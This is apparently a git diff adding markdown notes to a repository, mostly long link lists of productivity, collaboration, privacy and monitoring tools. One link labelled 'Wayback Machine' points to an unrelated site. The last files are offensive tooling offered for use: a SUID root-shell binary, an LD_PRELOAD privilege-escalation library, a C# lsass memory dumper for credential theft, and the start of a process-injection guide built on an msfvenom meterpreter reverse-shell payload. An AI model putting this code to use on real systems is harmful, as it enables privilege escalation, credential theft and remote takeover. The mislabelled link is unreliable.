- [Datawrapper](https://datawrapper.de/)
|
||||
- [Dropmark](https://www.dropmark.com/)
|
||||
- [easely](https://www.easel.ly/)
|
||||
- [Exhibit](https://www.simile-widgets.org/exhibit)
|
||||
- [Flot](https://www.flotcharts.org/)
|
||||
- [FusionCharts](https://www.fusioncharts.com/)
|
||||
- [Google Developers: Charts](https://developers.google.com/chart)
|
||||
- [GraphX](https://spark.apache.org/graphx)
|
||||
- [Hohli](https://charts.hohli.com/)
|
||||
- [Inkscape](https://inkscape.org/)
|
||||
- [Infogr.am](https://infogr.am/)
|
||||
- [Java Infovis Toolkit](https://philogb.github.io/jit)
|
||||
- [JpGraph](https://jpgraph.net/)
|
||||
- [Kartograph](https://kartograph.org/)
|
||||
- [Knoema](https://knoema.com/)
|
||||
- [Leaflet](https://leafletjs.com/)
|
||||
- [Listify](https://listify.okfnlabs.org/)
|
||||
- [Linkuroius](https://linkurio.us/)
|
||||
- [Lucidchart](https://www.lucidchart.com/)
|
||||
- [Mapline](https://mapline.com/)
|
||||
- [Nodebox](https://www.nodebox.net/)
|
||||
- [OpenLayers](https://openlayers.org/)
|
||||
- [Piktochart](https://piktochart.com/)
|
||||
- [Pixcone](https://www.pixcone.com/)
|
||||
- [Pixxa](https://www.pixxa.com/)
|
||||
- [Plotly](https://plot.ly/)
|
||||
- [StoryMap](https://storymap.knightlab.com/)
|
||||
- [QlikView](https://www.visualintelligence.co.nz/qlikview)
|
||||
- [Raphael](https://dmitrybaranovskiy.github.io/raphael)
|
||||
- [Shanti Interactive](https://www.viseyes.org/)
|
||||
- [Snappa](https://snappa.io/)
|
||||
- [Statpedia](https://statpedia.com/)
|
||||
- [Tableau](https://www.tableau.com/)
|
||||
- [Tableau Public](https://public.tableau.com/)
|
||||
- [Textures.js](https://riccardoscalco.github.io/textures)
|
||||
- [Tiki-toki](https://www.tiki-toki.com/)
|
||||
- [Tik-tok](https://datanews.github.io/tik-tok)
|
||||
- [Timeflow](https://github.com/FlowingMedia/TimeFlow/wiki)
|
||||
- [Timeline](https://timeline.knightlab.com/)
|
||||
- [Timeline](https://www.simile-widgets.org/timeline)
|
||||
- [Timescape](https://www.timescape.io/)
|
||||
- [Timetoast](https://www.timetoast.com/)
|
||||
- [Venngage](https://venngage.com/)
|
||||
- [Visage](https://visage.co/)
|
||||
- [Vis.js](https://visjs.org/)
|
||||
- [Visme](https://www.visme.co/)
|
||||
- [Vortex](https://www.dotmatics.com/products/vortex)
|
||||
- [ZingChart](https://www.zingchart.com/)
|
||||
|
||||
- Productivity
|
||||
- [2Do](https://www.2doapp.com/)
|
||||
- [Any.do](https://www.any.do/)
|
||||
- [Asana](https://asana.com/)
|
||||
- [Droptask](https://www.droptask.com/)
|
||||
- [Flask](https://flask.io/)
|
||||
- [Focus booster](https://www.focusboosterapp.com/)
|
||||
- [Freecamp](https://freedcamp.com/)
|
||||
- [MyLifeOrganized](https://www.mylifeorganized.net/)
|
||||
- [Remember the Milk](https://www.rememberthemilk.com/)
|
||||
- [RescueTime](https://www.rescuetime.com/)
|
||||
- [StayFocusd](https://chrome.google.com/webstore/detail/stayfocusd/laankejkbhbdhmipfmgcngdelahlfoji/details)
|
||||
- [Taskboard](https://taskboard.matthewross.me/)
|
||||
- [TikiTiki](https://ticktick.com/)
|
||||
- [Tinygain](https://tinygain.com/)
|
||||
- [Trello](https://trello.com/)
|
||||
- [Todo.ly](https://todo.ly/)
|
||||
- [Todoist](https://en.todoist.com/)
|
||||
- [Toggle](https://www.toggl.com/)
|
||||
- [Toodledo](https://www.toodledo.com/)
|
||||
- [Workflowy](https://workflowy.com/)
|
||||
- [Wunderlist](https://www.wunderlist.com/)
|
||||
|
||||
- Document and reference management
|
||||
- [DocumentCloud](https://www.documentcloud.org/)
|
||||
- [Endnote](https://endnote.com/)
|
||||
- [F1000](https://f1000.com/)
|
||||
- [Investigative Dashboard Search](https://data.occrp.org/)
|
||||
- [Mendeley](https://www.mendeley.com/)
|
||||
- [Omnity](https://www.omnity.io/)
|
||||
- [Overview](https://www.overviewdocs.com/)
|
||||
- [Papers](https://papersapp.com/)
|
||||
- [Readcube](https://www.readcube.com/)
|
||||
- [RefME](https://www.refme.com/)
|
||||
- [Zotero](https://www.zotero.org/)
|
||||
|
||||
- PDF Management
|
||||
- [Foxit Reader](https://www.foxitsoftware.com/products/pdf-reader)
|
||||
- [ilovepdf](https://www.ilovepdf.com/)
|
||||
- [PDFExpert](https://pdfexpert.com/)
|
||||
- [PDFx](https://www.metachris.com/pdfx)
|
||||
- [Smallpdf](https://smallpdf.com/)
|
||||
|
||||
- OCR
|
||||
- [Free Online OCR](https://www.newocr.com/)
|
||||
- [Online OCR](https://www.onlineocr.net/)
|
||||
|
||||
- Cloud storage and file share
|
||||
- [Amazon Cloud drive](https://www.amazon.com/clouddrive/home)
|
||||
- [Box](https://www.box.com/)
|
||||
- [Boxcryptor](https://www.boxcryptor.com/)
|
||||
- [Cloudapp](https://www.getcloudapp.com/)
|
||||
- [CloudFuze](https://www.cloudfuze.com/)
|
||||
- [CloudHQ](https://www.cloudhq.net/)
|
||||
- [Dropbox](https://www.dropbox.com/)
|
||||
- [Droplr](https://droplr.com/)
|
||||
- [DropSend](https://www.dropsend.com/)
|
||||
- [Duplicati](https://www.duplicati.com/)
|
||||
- [Egnyte](https://www.egnyte.com/)
|
||||
- [GoodSync](https://www.goodsync.com/)
|
||||
- [Google Drive](https://www.google.com/intl/nl/drive)
|
||||
- [hubiC](https://hubic.com/)
|
||||
- [iCloud](https://www.icloud.com/)
|
||||
- [Mediafire](https://www.mediafire.com/)
|
||||
- [Mega](https://mega.nz/)
|
||||
- [Mindbox](https://minbox.com/)
|
||||
- [Multicloud](https://www.multcloud.com/)
|
||||
- [Onedrive](https://onedrive.live.com/)
|
||||
- [Onehub](https://www.onehub.com/)
|
||||
- [Otixo](https://www.otixo.com/)
|
||||
- [pCloud](https://www.pcloud.com/)
|
||||
- [Sendthisfile](https://www.sendthisfile.com/)
|
||||
- [Sendspace](https://www.sendspace.com/)
|
||||
- [Spideroak](https://spideroak.com/)
|
||||
- [SugarSync](https://www.sugarsync.com/)
|
||||
- [Syncthing](https://syncthing.net/)
|
||||
- [TransferBigFiles](https://www.transferbigfiles.com/)
|
||||
- [Tresorit](https://tresorit.com/)
|
||||
|
||||
- Web Automation
|
||||
- [IFTTT](https://ifttt.com/)
|
||||
- [Workflow](https://workflow.is/)
|
||||
- [Zapier](https://zapier.com/)
|
||||
|
||||
- Dashboard
|
||||
- [Chartio](https://chartio.com/)
|
||||
- [Clicdata](https://www.clicdata.com/)
|
||||
- [Cyfe](https://www.cyfe.com/)
|
||||
- [Dashthis](https://dashthis.com/)
|
||||
- [DataDeck](https://www.datadeck.com/)
|
||||
- [Geckoboard](https://www.geckoboard.com/)
|
||||
- [Klipfolio](https://www.klipfolio.com/)
|
||||
- [Qlik](https://www.qlik.com/)
|
||||
|
||||
- Wikis
|
||||
- [DokuWiki](https://www.dokuwiki.org/dokuwiki)
|
||||
- [Foswiki](https://foswiki.org/)
|
||||
- [MediaWiki](https://www.mediawiki.org/wiki/MediaWiki)
|
||||
- [PmWiki](https://www.pmwiki.org/)
|
||||
- [TiddlyWiki](https://tiddlywiki.com/)
|
||||
- [Tiki Wiki](https://info.tiki.org/)
|
||||
- [TWiki](https://twiki.org/)
|
||||
- [Wikidot](https://www.wikidot.com/)
|
||||
- [Zim](https://zim-wiki.org/downloads.html)
|
||||
|
||||
- Collaboration and Project Management
|
||||
- [10kinsights](https://www.10000ft.com/)
|
||||
- [15Five](https://www.15five.com/)
|
||||
- [92fiveApp](https://92fiveapp.com/)
|
||||
- [5pm](https://www.5pmweb.com/)
|
||||
- [ActionMint](https://www.actionmint.com/)
|
||||
- [ActiveCollab](https://www.activecollab.com/)
|
||||
- [Advanseez](https://www.advanseez.com/)
|
||||
- [AllThings](https://www.allthings.io/)
|
||||
- [Any.do](https://www.any.do/)
|
||||
- [Apollo](https://www.apollohq.com/)
|
||||
- [Asana](https://asana.com/)
|
||||
- [Authorea](https://www.authorea.com/)
|
||||
- [AWW](https://awwapp.com/)
|
||||
- [Azendoo](https://www.azendoo.com/)
|
||||
- [Basecamp](https://basecamp.com/)
|
||||
- [Binfire](https://www.binfire.com/)
|
||||
- [Breeze](https://www.breeze.pm/)
|
||||
- [Canvanizer](https://canvanizer.com/)
|
||||
- [Casual](https://casual.pm/)
|
||||
- [Cardboardit](https://cardboardit.com/)
|
||||
- [Cardsmith](https://cardsmith.co/)
|
||||
- [CloudApp](https://www.getcloudapp.com/)
|
||||
- [CollaborateCloud](https://www.collaboratecloud.com/)
|
||||
- [Comindwork](https://www.comindwork.com/)
|
||||
- [Conceptboard](https://conceptboard.com/)
|
||||
- [Confluence](https://www.atlassian.com/software/confluence)
|
||||
- [eGroupWare](https://www.egroupware.org/)
|
||||
- [Elegantt](https://elegantt.com/)
|
||||
- [Firepad](https://firepad.io/)
|
||||
- [Firesub](https://firesub.com/)
|
||||
- [Flask](https://flask.io/)
|
||||
- [Float](https://www.float.com/)
|
||||
- [Flow](https://www.getflow.com/)
|
||||
- [Frame](https://frame.io/)
|
||||
- [Freedcamp](https://freedcamp.com/)
|
||||
- [GetDoneDone](https://www.getdonedone.com/)
|
||||
- [Glasscubes](https://www.glasscubes.com/)
|
||||
- [GQueues](https://www.gqueues.com/)
|
||||
- [Hightail](https://www.hightail.com/)
|
||||
- [hitask](https://hitask.com/)
|
||||
- [Huddle](https://www.huddle.com/)
|
||||
- [KabanTool](https://kanbantool.com/)
|
||||
- [Kanboard](https://kanboard.net/)
|
||||
- [Kerika](https://kerika.com/)
|
||||
- [Loomio](https://www.loomio.org/)
|
||||
- [LumoFlow](https://lumoflow.com/)
|
||||
- [Nozbe](https://nozbe.com/)
|
||||
- [Nutcache](https://www.nutcache.com/)
|
||||
- [Minute](https://www.getminute.com/)
|
||||
- [Mural](https://mural.co/)
|
||||
- [OmniGroup](https://www.omnigroup.com/)
|
||||
- [OnlyOffice](https://www.onlyoffice.com/)
|
||||
- [Padlet](https://padlet.com/)
|
||||
- [Piematrix](https://www.piematrix.com/)
|
||||
- [Pinstriped](https://pinstriped.com/)
|
||||
- [Plan](https://plan.io/)
|
||||
- [Planzone](https://www.planzone.com/)
|
||||
- [Podio](https://podio.com/)
|
||||
- [ProjectManager](https://www.projectmanager.com/)
|
||||
- [ProjectPlace](https://www.projectplace.com/)
|
||||
- [ProofHub](https://www.proofhub.com/)
|
||||
- [Quip](https://quip.com/)
|
||||
- [Quire](https://quire.io/)
|
||||
- [Realtimeboard](https://realtimeboard.com/)
|
||||
- [Redbooth](https://redbooth.com/)
|
||||
- [Restya](https://restya.com/)
|
||||
- [Scribblar](https://www.scribblar.com/)
|
||||
- [SeavusProjectViewer](https://www.seavusprojectviewer.com/)
|
||||
- [Smartsheet](https://www.smartsheet.com/)
|
||||
- [Stackfield](https://www.stackfield.com/)
|
||||
- [Stormboard](https://www.stormboard.com/)
|
||||
- [SyncSpace](https://infinitekind.com/syncspace)
|
||||
- [Taiga](https://taiga.io/)
|
||||
- [TargetProcess](https://www.targetprocess.com/)
|
||||
- [Taskboard](https://taskboard.matthewross.me/)
|
||||
- [TeamAllocator](https://www.teamallocator.com/)
|
||||
- [Team Pad](https://www.team-pad.com/)
|
||||
- [TeamWork](https://www.teamwork.com/)
|
||||
- [TeamWorklive](https://www.teamworklive.com/)
|
||||
- [Transparent Business](https://transparentbusiness.com/)
|
||||
- [Trello](https://trello.com/)
|
||||
- [Tuzzit](https://www.tuzzit.com/)
|
||||
- [Twiddla](https://www.twiddla.com/)
|
||||
- [Weekdone](https://weekdone.com/)
|
||||
- [Whiteboard Fox](https://whiteboardfox.com/)
|
||||
- [Worknoard](https://www.workboard.com/)
|
||||
- [Workfront](https://www.workfront.com/)
|
||||
- [Wrike](https://www.wrike.com/)
|
||||
- [Yammer](https://www.yammer.com/)
|
||||
- [YouTrack](https://www.jetbrains.com/youtrack)
|
||||
- [Zoho](https://www.zoho.com/)
|
||||
|
||||
- Communication
|
||||
- [Adobe Connect](https://www.adobe.com/products/adobeconnect.html)
|
||||
- [AnyDesk](https://anydesk.com/remote-desktop)
|
||||
- [AnyMeeting](https://www.anymeeting.com/)
|
||||
- [BeamYourScreen](https://www.beamyourscreen.com/)
|
||||
- [Blackboard](https://www.blackboard.com/online-collaborative-learning/index.aspx)
|
||||
- [clearvale](https://www.clearvale.com/marketing/en)
|
||||
- [Digital Samba](https://www.digitalsamba.com/)
|
||||
- [Discourse](https://www.discourse.org/)
|
||||
- [Exo Platform](https://www.exoplatform.com/)
|
||||
- [FaceFlow](https://www.faceflow.com/)
|
||||
- [Fleep](https://fleep.io/)
|
||||
- [Flowdock](https://www.flowdock.com/)
|
||||
- [FreeConferenceCall](https://www.freeconferencecall.com/)
|
||||
- [FreeScreenSharing](https://www.freescreensharing.com/)
|
||||
- [Friends](https://moose-team.github.io/friends)
|
||||
- [Glance](https://ww2.glance.net/)
|
||||
- [GoToMeeting](https://www.gotomeeting.com/)
|
||||
- [Highfive](https://highfive.com/)
|
||||
- [Icq](https://icq.com/)
|
||||
- [Infinite](https://www.infiniteconferencing.com/)
|
||||
- [Jitsi](https://jitsi.org/)
|
||||
- [Join.me](https://www.join.me/)
|
||||
- [Jostle](https://www.jostle.me/)
|
||||
- [Lets Chat](https://sdelements.github.io/lets-chat)
|
||||
- [lifesize](https://www.lifesize.com/)
|
||||
- [Linphone](https://www.linphone.org/)
|
||||
- [Live Conference Pro](https://www.liveconferencepro.com/)
|
||||
- [Lucid Meetings](https://www.lucidmeetings.com/)
|
||||
- [LumoFlow](https://lumoflow.com/)
|
||||
- [MeetingOne](https://www.meetingone.com/)
|
||||
- [MeWe](https://mewe.com/)
|
||||
- [mikogo](https://www.mikogo.com/)
|
||||
- [MyBB](https://www.mybb.com/)
|
||||
- [Open Whisper Systems](https://whispersystems.org/)
|
||||
- [Phorum](https://www.phorum.org/)
|
||||
- [Polycom](https://www.polycom.com/)
|
||||
- [Quicktopic](https://www.quicktopic.com/)
|
||||
- [ReadyTalk](https://www.readytalk.com/)
|
||||
- [Rocket.Chat](https://rocket.chat/)
|
||||
- [screenleap](https://www.screenleap.com/)
|
||||
- [Skype](https://www.skype.com/)
|
||||
- [Slack](https://slack.com/)
|
||||
- [StartMeeting](https://www.startmeeting.com/)
|
||||
- [Talky](https://talky.io/)
|
||||
- [Teamviewer](https://www.teamviewer.com/)
|
||||
- [Telegram](https://telegram.org/)
|
||||
- [Tibbr](https://www.tibbr.com/)
|
||||
- [Tixeo](https://www.tixeo.com/en/secure-video-conferencing)
|
||||
- [Toc](https://toc.im/)
|
||||
- [TrueConf](https://trueconf.com/)
|
||||
- [Vanilla Forums](https://vanillaforums.org/)
|
||||
- [Veeting rooms](https://www.veeting.com/)
|
||||
- [VeriShow](https://www.verishow.com/)
|
||||
- [Viadesk](https://www.viadesk.com/)
|
||||
- [VideoLink2](https://videolink2.me/)
|
||||
- [Vivicom](https://www.vivicom.de/)
|
||||
- [Webex](https://www.webex.com/)
|
||||
- [WhatsApp](https://www.whatsapp.com/)
|
||||
- [Zoho Meeting](https://www.zoho.com/meeting)
|
||||
- [Zoom](https://zoom.us/)
|
||||
- [Zulip](https://www.zulip.org/)
|
||||
|
||||
- Calendars/Scheduling
|
||||
- [Assistant](https://www.assistant.to/)
|
||||
- [Calendly](https://calendly.com/)
|
||||
- [Cozi](https://www.cozi.com/)
|
||||
- [Doodle](https://doodle.com/)
|
||||
- [Meetin.gs](https://www.meetin.gs/)
|
||||
- [MyMemorizer](https://www.mymemorizer.com/)
|
||||
- [ScheduleOnce](https://www.scheduleonce.com/)
|
||||
- [TeamUp](https://www.teamup.com/)
|
||||
- [Teamweek](https://teamweek.com/)
|
||||
|
||||
- Mind-mapping, Concept-mapping, Idea Generation
|
||||
- [The Brain](https://www.thebrain.com/)
|
||||
- [Bubbl.us](https://bubbl.us/)
|
||||
- [Coogle](https://coggle.it/)
|
||||
- [Creately](https://creately.com/)
|
||||
- [Fast Idea Generator](https://diytoolkit.org/tools/fast-idea-generator-2)
|
||||
- [Germ](https://germ.io/)
|
||||
- [GroupMap](https://www.groupmap.com/)
|
||||
- [iMindMap](https://imindmap.com/products/imindmap)
|
||||
- [iMindQ](https://www.imindq.com/)
|
||||
- [InstaGrok](https://www.instagrok.com/)
|
||||
- [Lucidchart](https://www.lucidchart.com/)
|
||||
- [Mind42](https://mind42.com/)
|
||||
- [Mind Genius](https://www.mindgenius.com/)
|
||||
- [Mindjet](https://www.mindjet.com/)
|
||||
- [Mind Manager](https://www.mindjet.com/mindmanager)
|
||||
- [Mind Map](https://chrome.google.com/webstore/detail/mindmap/gdaeohpmcenmffofpikllphdhlkkocfa#detail/mindmap/gdaeohpmcenmffofpikllphdhlkkocfa)
|
||||
- [Mindmeister](https://www.mindmeister.com/)
|
||||
- [Mindomo](https://www.mindomo.com/)
|
||||
- [Popplet](https://popplet.com/)
|
||||
- [Realtimeboard](https://realtimeboard.com/)
|
||||
- [Scapple](https://literatureandlatte.com/scapple.php)
|
||||
- [Sketchboard](https://sketchboard.io/)
|
||||
- [Slatebox](https://slatebox.com/)
|
||||
- [Spiderscribe](https://www.spiderscribe.net/)
|
||||
- [StoryMap](https://storymap.knightlab.com/)
|
||||
- [yWorks](https://www.yworks.com/en/products_yed_gallery.html)
|
||||
- [Xmind](https://www.xmind.net/)
|
||||
|
||||
- Privacy and Encryption
|
||||
- [Abine](https://www.abine.com/)
|
||||
- [AdblockPlus](https://adblockplus.org/)
|
||||
- [Adium](https://adium.im/)
|
||||
- [boxcryptor](https://www.boxcryptor.com/)
|
||||
- [CCleaner](https://www.piriform.com/ccleaner)
|
||||
- [Chatsecure](https://chatsecure.org/)
|
||||
- [Disconnect](https://disconnect.me/)
|
||||
- [Duck Duck Go Search Engine](https://duckduckgo.com/)
|
||||
- [Epic Privacy Browser](https://www.epicbrowser.com/)
|
||||
- [Eraser](https://eraser.heidi.ie/)
|
||||
- [FileVault](https://support.apple.com/en-us/HT204837)
|
||||
- [GNU PG](https://www.gnupg.org/download/index.html)
|
||||
- [GPG Tools](https://gpgtools.org/)
|
||||
- [Guardian Project](https://guardianproject.info/)
|
||||
- [Guerrilla Mail](https://www.guerrillamail.com/)
|
||||
- [Hotspot Shield](https://www.hotspotshield.com/)
|
||||
- [HTTPs Everywhere](https://www.eff.org/)
|
||||
- [I2P](https://geti2p.net/)
|
||||
- [IPLeak](https://www.ipleak.net/)
|
||||
- [Ixquick Search Engine](https://www.ixquick.com/)
|
||||
- [justdeleteme](https://justdelete.me/)
|
||||
- [KeePass Password Safe](https://keepass.info/)
|
||||
- [Lastpass](https://lastpass.com/)
|
||||
- [Lockbin](https://lockbin.com/)
|
||||
- [Mailbox](https://mailbox.org/)
|
||||
- [Mailvelope](https://www.mailvelope.com/)
|
||||
- [Master Password](https://masterpasswordapp.com/)
|
||||
- [NoScript](https://noscript.net/)
|
||||
- [Open DNS](https://www.opendns.com/home-internet-security)
|
||||
- [Open PGP](https://www.enigmail.net/index.php/en)
|
||||
- [Open Whisper Systems](https://whispersystems.org/)
|
||||
- [Oscobo Search Engine](https://oscobo.co.uk/)
|
||||
- [OSSEC](https://ossec.github.io/)
|
||||
- [Panopticlick](https://panopticlick.eff.org/)
|
||||
- [Pidgin](https://www.pidgin.im/)
|
||||
- [Pixel Block](https://chrome.google.com/webstore/detail/pixelblock/jmpmfcjnflbcoidlgapblgpgbilinlem)
|
||||
- [Privacy Badger](https://www.eff.org/privacybadger)
|
||||
- [Privazer](https://privazer.com/)
|
||||
- [Proton Mail](https://protonmail.com/)
|
||||
- [Qubes](https://www.qubes-os.org/)
|
||||
- [Script Safe](https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf?hl=en)
|
||||
- [Securesha](https://securesha.re/)
|
||||
- [Silent circle](https://www.silentcircle.com/)
|
||||
- [Snort](https://www.snort.org/)
|
||||
- [Spideroak](https://spideroak.com/)
|
||||
- [Surveilliance Self Defense](https://ssd.eff.org/)
|
||||
- [Tails](https://tails.boum.org/)
|
||||
- [Thunderbird](https://www.mozilla.org/en-US/thunderbird)
|
||||
- [Tor Project](https://www.torproject.org/)
|
||||
- [Unseen.is](https://unseen.is/)
|
||||
- [Wickr](https://wickr.com/)
|
||||
- [WOT](https://www.mywot.com/)
|
||||
@@ -0,0 +1,93 @@
|
||||
- Keywords Research
|
||||
- [Google Trends](https://www.google.com/trends)
|
||||
- [Linkio](https://www.linkio.com/)
|
||||
- [Keyword Discovery](https://www.keyworddiscovery.com/)
|
||||
- [KeywordTool](https://keywordtool.io/)
|
||||
- [One Look Reverse Dictionary](https://www.onelook.com/reverse-dictionary.shtml)
|
||||
- [Word Tracker](https://www.wordtracker.com/)
|
||||
- [Soovle](https://www.soovle.com/)
|
||||
|
||||
- Web History
|
||||
- [Archive.is](https://archive.is/)
|
||||
- [CachedView](https://cachedview.com/)
|
||||
- [Wayback Machine](https://comskills-ukraine.co.uk/test/)
|
||||
- [Wayback Machine Archiver](https://github.com/jsvine/waybackpack)
|
||||
|
||||
- Monitoring
|
||||
- [Alltop](https://alltop.com/)
|
||||
- [Awasu](https://www.awasu.com/)
|
||||
- [Bridge.Leslibres](https://bridge.leslibres.org/)
|
||||
- [Bridge.Suumitsu](https://bridge.suumitsu.eu/)
|
||||
- [Deltafeed](https://bitreading.com/deltafeed)
|
||||
- [Feed Filter Maker](https://feed.janicek.co/)
|
||||
- [FeedReader](https://www.feedreader.com/)
|
||||
- [FetchRSS](https://fetchrss.com/)
|
||||
- [Flipboard](https://flipboard.com/)
|
||||
- [FollowThatPage](https://www.followthatpage.com/)
|
||||
- [Google Alerts](https://www.google.com/alerts)
|
||||
- [Mention](https://en.mention.com/)
|
||||
- [Netvibes](https://www.netvibes.com/)
|
||||
- [Newsblur](https://newsblur.com/)
|
||||
- [OmeaReader](https://www.jetbrains.com/omea/reader)
|
||||
- [OnWebChange](https://onwebchange.com/)
|
||||
- [RSS Bridge](https://bridge.suumitsu.eu/)
|
||||
- [RSS Feed Reader](https://chrome.google.com/webstore/detail/rss-feed-reader/pnjaodmkngahhkoihejjehlcdlnohgmp)
|
||||
- [RSS Subscription Extension](https://chrome.google.com/webstore/detail/rss-subscription-extensio/bmjffnfcokiodbeiamclanljnaheeoke?hl=en)
|
||||
- [Talkwalker](https://www.talkwalker.com/)
|
||||
- [The Old Reader](https://theoldreader.com/)
|
||||
- [versionista](https://versionista.com/)
|
||||
- [WebSite Watcher](https://www.aignes.com/index.htm)
|
||||
- [Winds](https://winds.getstream.io/)
|
||||
|
||||
- Bookmarking
|
||||
- [Bibsonomy](https://www.bibsonomy.org/)
|
||||
- [Booky](https://booky.io/)
|
||||
- [ChannelKit](https://channelkit.com/)
|
||||
- [Clipix](https://www.clipix.com/)
|
||||
- [Diigo](https://www.diigo.com/)
|
||||
- [Evernote](https://evernote.com/)
|
||||
- [Dropmark](https://www.dropmark.com/)
|
||||
- [eLink](https://elink.io/)
|
||||
- [FAVable](https://www.favable.com/)
|
||||
- [Google Bookmarks](https://www.google.com/bookmarks)
|
||||
- [Instapaper](https://www.instapaper.com/)
|
||||
- [Keeeb](https://keeeb.com/)
|
||||
- [Klart](https://klart.co/)
|
||||
- [LiveBinders](https://www.livebinders.com/)
|
||||
- [Microsoft OneNote](https://office.microsoft.com/en-us/onenote)
|
||||
- [Papaly](https://papaly.com/)
|
||||
- [Paperwork](https://github.com/twostairs/paperwork)
|
||||
- [Pearltrees](https://www.pearltrees.com/)
|
||||
- [Raindrop](https://raindrop.io/)
|
||||
- [Refind](https://refind.com/)
|
||||
- [Scrible](https://www.scrible.com/)
|
||||
- [Stache](https://getstache.com/)
|
||||
- [Thinkery](https://thinkery.me/)
|
||||
- [Trackplanet](https://trackpanel.net/)
|
||||
- [Wepware](https://www.wepware.com/)
|
||||
- [Zotero](https://www.zotero.org/)
|
||||
|
||||
- Browsers
|
||||
- [Brave](https://brave.com/)
|
||||
- [CentBrowser](https://www.centbrowser.com/)
|
||||
- [Chrome](https://www.google.com/chrome)
|
||||
- [Comodo Dragon](https://www.comodo.com/home/browsers-toolbars/browser.php)
|
||||
- [Edge](https://www.microsoft.com/en-us/windows/microsoft-edge/microsoft-edge)
|
||||
- [Firefox](https://www.mozilla.org/)
|
||||
- [Opera](https://www.opera.com/)
|
||||
- [Safari](https://www.apple.com/safari)
|
||||
- [Sleipnir](https://www.fenrir-inc.com/jp/sleipnir)
|
||||
- [Slimjet](https://www.slimjet.com/)
|
||||
- [SRWare Iron](https://www.srware.net/en/software_srware_iron.php)
|
||||
- [Vivaldi](https://vivaldi.com/)
|
||||
- [Yandex Browser](https://browser.yandex.com/desktop/main)
|
||||
|
||||
- Offline Browsing
|
||||
- [A1 Website Download](https://www.microsystools.com/products/website-download)
|
||||
- [gmapcatcher](https://github.com/heldersepu/gmapcatcher)
|
||||
- [HTTrack](https://www.httrack.com/)
|
||||
- [Resolver](https://metaproductsrevolver.com/)
|
||||
- [SiteSucker](https://ricks-apps.com/osx/sitesucker/index.html)
|
||||
- [WebAssistant](https://www.proxy-offline-browser.com/download.html)
|
||||
- [Website Ripper Copier](https://www.tensons.com/products/websiterippercopier)
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
- Simple binary for SUID exploitation
|
||||
```C
|
||||
#include <unistd.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
int main(void) {
|
||||
if (setuid(0) || setgid(0))
|
||||
err(1, "setuid/setgid");
|
||||
fputs("We are root! Cthulhu fhtagn!\n", stderr);
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "execl");
|
||||
}
|
||||
```
|
||||
|
||||
- Simple LD_PRELOAD privesc binary
|
||||
```C
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,44 @@
|
||||
- Process Access
|
||||
```
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
```
|
||||
|
||||
- Memory Protection
|
||||
```
|
||||
Execute = 0x10,
|
||||
ExecuteRead = 0x20,
|
||||
ExecuteReadWrite = 0x40,
|
||||
ExecuteWriteCopy = 0x80,
|
||||
NoAccess = 0x01,
|
||||
ReadOnly = 0x02,
|
||||
ReadWrite = 0x04,
|
||||
WriteCopy = 0x08,
|
||||
GuardModifierflag = 0x100,
|
||||
NoCacheModifierflag = 0x200,
|
||||
WriteCombineModifierflag = 0x400
|
||||
```
|
||||
|
||||
- Allocation Type
|
||||
```
|
||||
Commit = 0x1000,
|
||||
Reserve = 0x2000,
|
||||
Decommit = 0x4000,
|
||||
Release = 0x8000,
|
||||
Reset = 0x80000,
|
||||
Physical = 0x400000,
|
||||
TopDown = 0x100000,
|
||||
WriteWatch = 0x200000,
|
||||
LargePages = 0x20000000
|
||||
```
|
||||
@@ -0,0 +1,37 @@
|
||||
```CSharp
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.IO;
|
||||
|
||||
namespace Minidump
|
||||
{
|
||||
class Program
|
||||
{
|
||||
[DllImport("Dbghelp.dll")]
|
||||
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
|
||||
static void Main(string[] args)
|
||||
{
|
||||
// Create instance of Process class and use Id method to get PID of lsass
|
||||
|
||||
Process[] lsass = Process.GetProcessesByName("lsass");
|
||||
int lsass_pid = lsass[0].Id;
|
||||
|
||||
// Get handle to lsass
|
||||
|
||||
IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
|
||||
|
||||
// Create new file stream to which to write dumpfile
|
||||
|
||||
FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);
|
||||
|
||||
// Execute dump and write to file
|
||||
|
||||
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,28 @@
|
||||
# Process Injection Intro
|
||||
|
||||
Proc injection to write shellcode bytes into a program and execute the shellcode. These techniques have a range of OPSEC strengths and weaknesses.
|
||||
|
||||
Pull these `.cs` files into a Visual Studio solution and build in order to use them.
|
||||
|
||||
For all of these techniques, we will use a meterpreter payload hosted on a webserver:
|
||||
|
||||
```
|
||||
┌──(kali㉿kali)-[~/Desktop]
|
||||
└─$ sudo msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.1.128 LPORT=4444 -f raw > shellcode.bin
|
||||
|
||||
┌──(kali㉿kali)-[~/Desktop]
|
||||
└─$ ip -br -c a
|
||||
